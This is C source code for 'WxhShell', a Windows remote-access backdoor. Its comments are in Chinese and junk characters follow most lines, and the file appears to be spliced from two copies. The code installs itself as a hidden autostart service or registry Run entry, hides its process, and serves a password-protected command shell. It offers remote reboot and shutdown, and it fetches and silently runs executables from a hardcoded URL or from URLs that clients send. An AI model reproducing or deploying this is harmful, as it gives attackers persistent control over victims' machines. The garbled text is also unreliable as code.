    if(Boot(SHUTDOWN)) nCj_4,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9aE.jpN  
    else { T\Zq/Z\  
    closesocket(wsh); ?;//%c8,.  
    ExitThread(0); TDMyZ!d  
    } WC?}a^ 8  
    break; 'A|OVyH  
    } W/U_:^[-  
  // 获取shell Q]?Lg  
  case 's': { U;QN+fF]u  
    CmdShell(wsh); Tt0:rQ.  
    closesocket(wsh); R m{\ R  
    ExitThread(0); @rTAbEk{U  
    break; jMT];%$[  
  } ~HR/FGe?N  
  // 退出 LPOZA`  
  case 'x': { |H,g}XWMU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nt"8kv  
    CloseIt(wsh); {O"?_6',  
    break; rQ4i%.  
    } y[}O(  
  // 离开 pO~VI$7  
  case 'q': { ^aW?0qsH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _>/T<Db  
    closesocket(wsh); .q>4?+  
    WSACleanup(); 4/Vy@h"A3  
    exit(1); hKT]M[Pv  
    break; N'#Lb0`B  
        } CD]2a@j {  
  } =h083|y>  
  } ql Uw;{;p  
7jb{E+DrG  
  // 提示信息 &I[ITp6y 0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I3 %P_oW'  
} owA0I'|V-A  
  } {GaQV-t  
$rZ:$d.C  
  return; 4zF|}aiQ  
} e<wRA["  
0P5!fXs*  
// shell模块句柄 9}4EW4  
int CmdShell(SOCKET sock) )6S;w7  
{ `VT0wAe2;  
STARTUPINFO si; !`BK%m\8  
ZeroMemory(&si,sizeof(si)); ~N i#xa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K|H&x"t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZU vA`   
PROCESS_INFORMATION ProcessInfo; m-SP#?3  
char cmdline[]="cmd"; No\H QQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ imC21U  
  return 0; ,sAN,?eG~  
} [n`SXBi+n  
^UF]%qqOn  
// 自身启动模式 fs]9HK/@\  
int StartFromService(void) ,tEvz  
{ 8Ee bWs*1  
typedef struct 6zQ {Y"0  
{ A%VBBvk  
  DWORD ExitStatus; ;x[F4d  
  DWORD PebBaseAddress; q4k)E  
  DWORD AffinityMask; ]~,V(K  
  DWORD BasePriority; mErXdb|L  
  ULONG UniqueProcessId; "EoC7 1  
  ULONG InheritedFromUniqueProcessId; 62BJ;/ ]  
}   PROCESS_BASIC_INFORMATION; }OeEv@^  
hIj[#M&6  
PROCNTQSIP NtQueryInformationProcess; %j].' ;  
QK5y%bTSA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 728}K^7:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iA~b[20&  
-%XvWZvZ  
  HANDLE             hProcess; 23/!k}G"  
  PROCESS_BASIC_INFORMATION pbi; vT<q zN  
5XNIX)H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3:$hC8  
  if(NULL == hInst ) return 0; 1}E`K#  
x8a?I T.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \WM*2&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z\=].[,w4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~P*t_cpZ  
lN,8(n?g  
  if (!NtQueryInformationProcess) return 0; E"Z9 NDgl#  
wHW";3w2~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {cF7h)j  
  if(!hProcess) return 0; \?,'i/c-  
\C3ir&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Z0(e!b4S  
WUid5e2  
  CloseHandle(hProcess); /j]r?KAzw  
@!\ g+z_"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p{j }%) 6n  
if(hProcess==NULL) return 0; YyX/:1 sg>  
\TG!M]D:  
HMODULE hMod; A9! gww  
char procName[255]; ]JX0:'x^  
unsigned long cbNeeded; QZBXI3%#s  
Sf}>~z2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oZ1#.o{  
;lST@>  
  CloseHandle(hProcess); z_#B 4  
uQN8/Gy*J  
if(strstr(procName,"services")) return 1; // 以服务启动 47_4`rzy;  
?~rF3M.=|  
  return 0; // 注册表启动 O)MKEMuA  
} 0s = h*"[  
iTU 8WWY<  
// 主模块 Xj^6ZJc  
int StartWxhshell(LPSTR lpCmdLine) G7k0P-r,0  
{ $Yt29AQ  
  SOCKET wsl; ?)#dP8n  
BOOL val=TRUE; b 2n.v.$G  
  int port=0; p\o=fcH%E  
  struct sockaddr_in door; W[o~AbU  
a z 7Vy-  
  if(wscfg.ws_autoins) Install(); UXvk5t1  
%T*lcg  
port=atoi(lpCmdLine); T0WB  
buo_H@@p{s  
if(port<=0) port=wscfg.ws_port; rt%.IQdY  
*b?C%a9  
  WSADATA data; ?H7*?HV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - Z"w  
oC>QJ(o,8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =:a H2T*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L0SeG:  
  door.sin_family = AF_INET; &I.UEF2,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mt7}1s,i[  
  door.sin_port = htons(port); /%Bc*k=ox  
sk!v!^\_r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9+.0ZP?  
closesocket(wsl); B^Q\l!r  
return 1; SMaC{RPQ  
} krZ J"`  
v'B++-%  
  if(listen(wsl,2) == INVALID_SOCKET) { o)KF+[^  
closesocket(wsl); QBa1c-Y  
return 1; Cz x U @  
} 1TfK"\  
  Wxhshell(wsl); hS&,Gm`^  
  WSACleanup(); gZgb-$b  
a +Q9kh  
return 0; 0U]wEz*b  
#NVtZs!V/  
} U9IP`)z_5t  
k,M%/AXd  
// 以NT服务方式启动 693J?Yah[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I#Ay)+D  
{ B:5( sK  
DWORD   status = 0; @D8c-`LC"*  
  DWORD   specificError = 0xfffffff; :(?joLA  
S#qd#Zk|Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c&2ZjM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eX 9{wb(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T[s_w-<7$  
  serviceStatus.dwWin32ExitCode     = 0; @(PYeXdV6&  
  serviceStatus.dwServiceSpecificExitCode = 0; ^jb55X}  
  serviceStatus.dwCheckPoint       = 0; J_R54Y~vu  
  serviceStatus.dwWaitHint       = 0; m8H|cQ@Uu  
S pDVD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oD_je~b)  
  if (hServiceStatusHandle==0) return; F"j0;}+N  
bp2l%A;  
status = GetLastError(); R-J\c+C>W  
  if (status!=NO_ERROR) pt;E~_  
{ VO>A+vx3M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +Y,>ftN  
    serviceStatus.dwCheckPoint       = 0; d8Jy$,/`?  
    serviceStatus.dwWaitHint       = 0; |c,":R  
    serviceStatus.dwWin32ExitCode     = status; STs~GOm-  
    serviceStatus.dwServiceSpecificExitCode = specificError; JpE4 o2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zJ7vAL  
    return; `@ULG>   
  } 9H ?er_6Yf  
?hvPPEJf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j$^3  
  serviceStatus.dwCheckPoint       = 0; K+xiov-r?  
  serviceStatus.dwWaitHint       = 0; a ^<W ?Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =:[Jz1M5  
} i4 KW  
7 2ux3D  
// 处理NT服务事件,比如:启动、停止 VYkOJAEBg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -_.)~ )P  
{ [wP;g'F  
switch(fdwControl) `w6\II)aB  
{ z`((l#(  
case SERVICE_CONTROL_STOP: eIK8J,-  
  serviceStatus.dwWin32ExitCode = 0; xn1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G!k&'{2  
  serviceStatus.dwCheckPoint   = 0; vG O-a2Z  
  serviceStatus.dwWaitHint     = 0; Y8`4K*58%  
  { W$ #FM$U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8AT;9wZqt  
  } |{+D65R  
  return; #9}E@GGs  
case SERVICE_CONTROL_PAUSE: 9=pG$+01OR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ! lgsV..R  
  break; P %f],f  
case SERVICE_CONTROL_CONTINUE: ] o tjoM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +4f>njARIb  
  break; ii0AhQ  
case SERVICE_CONTROL_INTERROGATE: q$e2x=?  
  break; EcrM`E#kaZ  
}; V"(S<o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $q]((@i.  
} {M U>5\  
LGKkT?fcSC  
// 标准应用程序主函数 :pcKww|V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /E$"\md  
{ jFpXTy[>  
6UR.,*f=  
// 获取操作系统版本 {o< 4 ^  
OsIsNt=GetOsVer(); aM5zYj`pW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H7?C>+ay  
RVy8%[Gcq  
  // 从命令行安装 bwUsE U 0  
  if(strpbrk(lpCmdLine,"iI")) Install(); xi8RE@gm  
E{sTxO I$  
  // 下载执行文件 |;ycEB1  
if(wscfg.ws_downexe) { :XcU@m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9d^o2Y o  
  WinExec(wscfg.ws_filenam,SW_HIDE); #ebT$hf30  
} G^!20`p:  
]R\k@a|G  
if(!OsIsNt) { L)&?$V  
// 如果时win9x,隐藏进程并且设置为注册表启动 CUfD[un2D  
HideProc(); e@*Gnh<&  
StartWxhshell(lpCmdLine); &e@2zfl7  
} VS@o_fUx)  
else kX."|]  
  if(StartFromService()) E8J `7sa  
  // 以服务方式启动 +Tc<|-qQn  
  StartServiceCtrlDispatcher(DispatchTable); )Xg,;^  
else H>_ FCV8  
  // 普通方式启动 p{xO+Nx1a  
  StartWxhshell(lpCmdLine); tiSN amvG1  
K2>(C$Z  
return 0; 1BwCJ7?8  
} iJIPH>UMX  
!/ TeTmo  
q0{KYWOvk  
J!O5`k*.C  
=========================================== /vS!9f${  
YW9 [^  
x+l.04a@  
~b/lr  
@|(mR-Jj  
qY`)W[  
" [5,aBf) X  
v>YdPQky  
#include <stdio.h> {\j h? P|  
#include <string.h> -q|K\>tgU  
#include <windows.h> +'Pl?QyH  
#include <winsock2.h> ~V[pu  
#include <winsvc.h> %sP C3L  
#include <urlmon.h> zg+78  
N[d*_KN.!  
#pragma comment (lib, "Ws2_32.lib") [ \ LA  
#pragma comment (lib, "urlmon.lib") f;`pj`-k%  
dX{|-;6vm  
#define MAX_USER   100 // 最大客户端连接数 N~ _GJw@  
#define BUF_SOCK   200 // sock buffer &H$ 3`"p5u  
#define KEY_BUFF   255 // 输入 buffer c-3AzB#[  
KRQKL`}}  
#define REBOOT     0   // 重启 4\4onCzuT  
#define SHUTDOWN   1   // 关机 =:n>yZ3T  
]N_(M   
#define DEF_PORT   5000 // 监听端口 f1(V~{N,+  
c<L^ 1,G2  
#define REG_LEN     16   // 注册表键长度 &1YqPk  
#define SVC_LEN     80   // NT服务名长度 PN[ `p1F  
1%Xwk2l,8b  
// 从dll定义API uFOxb}a9v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m5Q,RwJ!xK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &$tBD@7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >(S4h}^I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <#<4A0:  
Iq0_X7:{QI  
// wxhshell配置信息 T`7;Rl'Q  
struct WSCFG { /~NsHStn  
  int ws_port;         // 监听端口 i`)bn 1Xm  
  char ws_passstr[REG_LEN]; // 口令 35B G&;C  
  int ws_autoins;       // 安装标记, 1=yes 0=no #y%bx<A  
  char ws_regname[REG_LEN]; // 注册表键名 Q( .d!CQ>  
  char ws_svcname[REG_LEN]; // 服务名 J * $u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CdgZq\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A9\m .3jo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y,?s-AB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ks . m5R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u"XqWLTV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ }Rqe  
A|1 TE$  
}; Hq[d!qc  
)kR~|Yn<-  
// default Wxhshell configuration _+YCwg  
struct WSCFG wscfg={DEF_PORT, 0gO<]]M?  
    "xuhuanlingzhe", 6Ae<W7  
    1, W.TZU'%  
    "Wxhshell", 8 7P{vf#  
    "Wxhshell", [~9rp]<  
            "WxhShell Service", #3vq+mcn  
    "Wrsky Windows CmdShell Service", Og[NRd+  
    "Please Input Your Password: ", jOj`S%7  
  1, 7yo/ sb9h  
  "http://www.wrsky.com/wxhshell.exe", X5UcemO  
  "Wxhshell.exe" B?9K!c  
    }; 9~98v;Z1  
3IQ)%EN  
// 消息定义模块 <-62m8N|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t=syo->  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [T#5$J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rTYDa3  
char *msg_ws_ext="\n\rExit."; sc'QNhrW  
char *msg_ws_end="\n\rQuit."; *t J+!1  
char *msg_ws_boot="\n\rReboot..."; __r]@hY   
char *msg_ws_poff="\n\rShutdown..."; |&B.YLx  
char *msg_ws_down="\n\rSave to "; T`KH7y|bv  
YYU Di@K  
char *msg_ws_err="\n\rErr!"; <jE6ye(R  
char *msg_ws_ok="\n\rOK!"; Ab`mID:  
P/snzm|@  
char ExeFile[MAX_PATH]; ^N}zePy0  
int nUser = 0; ?;@xAj  
HANDLE handles[MAX_USER]; hNs970i  
int OsIsNt; D,%R[F? 5O  
g\;AU2?p7  
SERVICE_STATUS       serviceStatus; <6^MVaD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {WUW.(^]G  
y>wrm:b-O  
// 函数声明 B5h-JON]-  
int Install(void); ?#?[6t  
int Uninstall(void); ks|[`FH  
int DownloadFile(char *sURL, SOCKET wsh); BqC, -gC  
int Boot(int flag); S6CM/  
void HideProc(void); #TZf\0\!  
int GetOsVer(void); maQE Bi,  
int Wxhshell(SOCKET wsl); >yFEUD:  
void TalkWithClient(void *cs); 6z v+Av:  
int CmdShell(SOCKET sock); H|_^T.n?E  
int StartFromService(void); N|hNh$J[  
int StartWxhshell(LPSTR lpCmdLine); H?98^y7  
Xr\|U89P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1;cV [&3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); le*mr0a  
uU(G&:@  
// 数据结构和表定义 4q#6.E;yy  
SERVICE_TABLE_ENTRY DispatchTable[] = 6Ug( J$Ouh  
{ s\QhCS  
{wscfg.ws_svcname, NTServiceMain}, RK?b/9y  
{NULL, NULL} lxoc.KDtR  
}; cAq>|^f0a  
hNBv|&D#  
// 自我安装 <![tn#_  
int Install(void) V_f}Y8>e  
{ amq]&.M  
  char svExeFile[MAX_PATH]; 9n{tbabJ  
  HKEY key; /.<%y 8v  
  strcpy(svExeFile,ExeFile); ,ButNB v  
`$oGgz6ZT  
// 如果是win9x系统,修改注册表设为自启动 l'=H,8LfA  
if(!OsIsNt) { ppr95 Y]^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2KVMQH`B9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L4`bGZl55  
  RegCloseKey(key); pOP`n3m0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S|!)_RL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a@`15O:  
  RegCloseKey(key); f`'?2  
  return 0; K=Z~$)Og)  
    } ULc oti=,  
  } }[ LME Z  
} tWR>I$O8F  
else { >Ia{ZbQV  
H~%HTl  
// 如果是NT以上系统,安装为系统服务 &ywAzGV{s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m[ *)sm  
if (schSCManager!=0)  jL8[;*^G  
{ nIdB,  
  SC_HANDLE schService = CreateService V5sH:A7GJ  
  ( hJY= )  
  schSCManager, ceBu i8a |  
  wscfg.ws_svcname, /Am,5X.   
  wscfg.ws_svcdisp, `|K30hRp:  
  SERVICE_ALL_ACCESS, JU+Uzp   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vQB;a?)o  
  SERVICE_AUTO_START, [uCW8:e  
  SERVICE_ERROR_NORMAL, O="# yE)  
  svExeFile, E!<w t  
  NULL, qN((Xz+AZE  
  NULL, .),ql_sXr  
  NULL, 19-|.9m(  
  NULL, (|%YyRaX  
  NULL = Q|_v}  
  ); u&Q2/Y  
  if (schService!=0) ol]"r5#Q_H  
  { v`3q0,,  
  CloseServiceHandle(schService); Q\>9PKK  
  CloseServiceHandle(schSCManager); 2w)[1s[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p12'^i |  
  strcat(svExeFile,wscfg.ws_svcname); `Wq4k>J}*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pN# \  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zf-)c1$*r  
  RegCloseKey(key); l>K z5re^  
  return 0; fw aq  
    } !f5I.r~  
  } d`]| i:*q  
  CloseServiceHandle(schSCManager); XnC`JO+7M  
} YEfa8'7R  
} q#9JJWSs  
Z)E[Bv=  
return 1; P,5gaT)  
} [1{#a {4  
N&g9z{m7  
// 自我卸载 mlC_E)Ed5  
int Uninstall(void) IG@.WsM_  
{ 7A0D[?^xe  
  HKEY key; m(Ghe2T:  
#B7_5y^  
if(!OsIsNt) { ,iKEIxA!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dXr=&@ 1  
  RegDeleteValue(key,wscfg.ws_regname); r ;:5P%:  
  RegCloseKey(key); !DsKa6Zj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = 7%1]  
  RegDeleteValue(key,wscfg.ws_regname); _SU%ul  
  RegCloseKey(key); FPj j1U`C  
  return 0; r[; .1,(  
  } F-i`GMWC  
} 8W' ,T  
} ["l1\YCi  
else { }{"a}zOl  
-= {Z::}S"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `I*W}5  
if (schSCManager!=0) /)I:C z/f  
{ CZ2&9Vb9I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S!!i  
  if (schService!=0) EHpIbj;n  
  { qMy>: ,)Z  
  if(DeleteService(schService)!=0) { cRYnQ{$'  
  CloseServiceHandle(schService); Q1tZ]Q.6  
  CloseServiceHandle(schSCManager); &k'J5YHm8H  
  return 0; f#~X4@DH`  
  } ^Mw>'*5^  
  CloseServiceHandle(schService); Fkgnc{NI  
  } xWkCP2$?P  
  CloseServiceHandle(schSCManager); >E*j4gg  
} JkT , i_  
} ! 63>II  
Z"spua5  
return 1; +#qW 0g  
} 8@`"ZzM  
Z^t"!oY  
// 从指定url下载文件 bb<qnB  
int DownloadFile(char *sURL, SOCKET wsh) _86pbr9  
{ ,S"a ,}8  
  HRESULT hr; PF$K> d  
char seps[]= "/"; ;O7CahdF  
char *token; EPx_xX  
char *file; K/oC+Z;K  
char myURL[MAX_PATH]; |#<PI9)`  
char myFILE[MAX_PATH]; Y=RdxCCx4  
Oc\Bu6F  
strcpy(myURL,sURL); .&Uu w  
  token=strtok(myURL,seps); ;r(hZ%pD  
  while(token!=NULL) {Rc!S? 8  
  { Y@)iPK@z  
    file=token; _`6fGu& W  
  token=strtok(NULL,seps); C.SG m  
  } 8?ig/HSt2  
C@!C='b,  
GetCurrentDirectory(MAX_PATH,myFILE); z}I4m  
strcat(myFILE, "\\"); e[txJ*SuO  
strcat(myFILE, file); SplEY!.k  
  send(wsh,myFILE,strlen(myFILE),0); gFk~SJd  
send(wsh,"...",3,0); `-)!4oJ]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l=(4o4um  
  if(hr==S_OK) y+3< ] N  
return 0; B8Ob~?  
else }e}J6 [wP  
return 1; fiDwa ;,  
g3B zi6$m  
} #vk-zx*v7=  
H>8B$fi)$  
// 系统电源模块 5xJyW`SWz  
int Boot(int flag) ` VL`8  
{ +eiM6* /0  
  HANDLE hToken; ^[]G sF  
  TOKEN_PRIVILEGES tkp; EL_rh TWw  
i <KWFF#  
  if(OsIsNt) { XXuIWIhm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sT| $@$bN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {XC1B  
    tkp.PrivilegeCount = 1; 3GEI)!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {d`e9^Z:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S+c)  
if(flag==REBOOT) { ~udi=J |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J%|!KQl  
  return 0; 25xpq^Zw  
} WfbG }%&J  
else { L_fu<W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z i-)PK^  
  return 0; bn`1JI@S4  
} Q;p?.GI?-  
  } oqzx}?0  
  else { #:rywz+  
if(flag==REBOOT) { IooAXwOF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }?f%cRT$  
  return 0; 0IHcyb  
} *P4G}9B|9:  
else { c_#\'yeW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nic7RN?F<  
  return 0; ka_]s:>+  
} gXtyl]K:  
} Q+e|;Mj  
plL##?<D<  
return 1; RS&l68[6  
} g'G"`)~ 2  
?-^eI!  
// win9x进程隐藏模块 HX1RA 5O  
void HideProc(void) w6 C0]vh  
{ GX4HW \>a  
B+:'Ld](  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1EvAV,v"  
  if ( hKernel != NULL ) $~M#msK9  
  { o!TG8aeb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mjdZ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s&vREx(  
    FreeLibrary(hKernel); Zy0u@``  
  } ]Bo !v*12  
wOH$S=Ba5,  
return; d! 0p^!3  
} Xy{\>}i]N  
><o dBM-  
// 获取操作系统版本 j6wdqa9!~  
int GetOsVer(void) 5&5 x[S8  
{ VEAf,{)Q  
  OSVERSIONINFO winfo; eNN)2-96  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?+Sjt  
  GetVersionEx(&winfo); D[) Z$+D4f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c`]_Q1'30w  
  return 1; {Lj]++`fB]  
  else NUVFG;  
  return 0; 0eQwi l@  
} _F|oL|  
9!hiCqA&  
// 客户端句柄模块 %%["&  
int Wxhshell(SOCKET wsl) KCR6@{@  
{ Obd@#uab  
  SOCKET wsh; s{v!jZ  
  struct sockaddr_in client; AH$D./a  
  DWORD myID; 7TCY$RcF,I  
T_}9b  
  while(nUser<MAX_USER) t!MGSB~  
{ %u"3&kOV  
  int nSize=sizeof(client); 3D3/\E#'o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I f9t^T#  
  if(wsh==INVALID_SOCKET) return 1; yyZV/ x~  
$ZSjq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [[(29|`]  
if(handles[nUser]==0) T%kr&XsQX  
  closesocket(wsh); tuzw% =Ey  
else rwb7>]UI"d  
  nUser++; 0pT?qsM2  
  } ^J,Zl`N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kj| l]'  
g9 .b6}w!  
  return 0; OQt_nb#z`{  
} X-$~j+YC  
{j%'EJ5  
// 关闭 socket  Dh=?Hzw  
void CloseIt(SOCKET wsh) m44Ab6gpsb  
{ aw z(W >  
closesocket(wsh); s!* m^zx  
nUser--; |l)z^V!  
ExitThread(0); o+e:H jZZ  
} };5d>#NK,Y  
dTN[E6#R  
// 客户端请求句柄 wO6 D\#  
void TalkWithClient(void *cs) @BbqYX  
{ 8PQKB*<dB"  
APydZ  
  SOCKET wsh=(SOCKET)cs; +C4UM9  
  char pwd[SVC_LEN]; 2H7b2%  
  char cmd[KEY_BUFF]; *c<=IcA  
char chr[1]; .!yXto:  
int i,j; [=dK%7v  
WEgJ_dB  
  while (nUser < MAX_USER) { N?]HWP^pg  
 4[=vt  
if(wscfg.ws_passstr) { e nsou!l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,,_$r7H`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r+6=b"  
  //ZeroMemory(pwd,KEY_BUFF); B%P g:|  
      i=0; V^9c:!aI  
  while(i<SVC_LEN) { p*F.WxB)4  
'!8'Xo@Go3  
  // 设置超时 L1'R6W~%dN  
  fd_set FdRead; M`6rI  
  struct timeval TimeOut; 6_`9 4+  
  FD_ZERO(&FdRead); QDO.&G2  
  FD_SET(wsh,&FdRead); JDi\?m d.  
  TimeOut.tv_sec=8; *&7F(  
  TimeOut.tv_usec=0; b^WTX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R5_xli%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ISIq3A?  
`;?`XC"m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pc"g  
  pwd=chr[0]; 8_yhV{  
  if(chr[0]==0xd || chr[0]==0xa) { RM/q\100  
  pwd=0; AUZ^XiK  
  break; ~.-o*  
  } ]iP  +Y  
  i++; v#yeiE4  
    } "Dr8}g:X  
vUtA@  
  // 如果是非法用户,关闭 socket lOk'stLNa&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -?T:> *]p  
} v/NkG;NWM  
ozF173iI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yHrYSEM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O7&6]/`  
B.O &KRo  
while(1) { W|NT*g{;M  
a!iG;:K   
  ZeroMemory(cmd,KEY_BUFF); ){~]-VK  
%d3KE|&u  
      // 自动支持客户端 telnet标准   )zU bMzF  
  j=0; P*9vs%W  
  while(j<KEY_BUFF) { Jat|n97$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Ipp1a Z_M  
  cmd[j]=chr[0]; UBj"m<  
  if(chr[0]==0xa || chr[0]==0xd) { NR </Jm*  
  cmd[j]=0;  D`Tx,^E  
  break; ~yrEB:w`_  
  } yL ?dC"c  
  j++; G a1B&@T  
    } 9c `Vrlu  
$F^p5EXkc6  
  // 下载文件 H_ecb;|mP  
  if(strstr(cmd,"http://")) { ix.I)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [^rMM1^,OB  
  if(DownloadFile(cmd,wsh)) (P=q&]l[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h5+L/8+J^z  
  else D\"F?>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #`kLU:  
  } 1m c'=S{  
  else { TOH!vQP  
h3.6<vM  
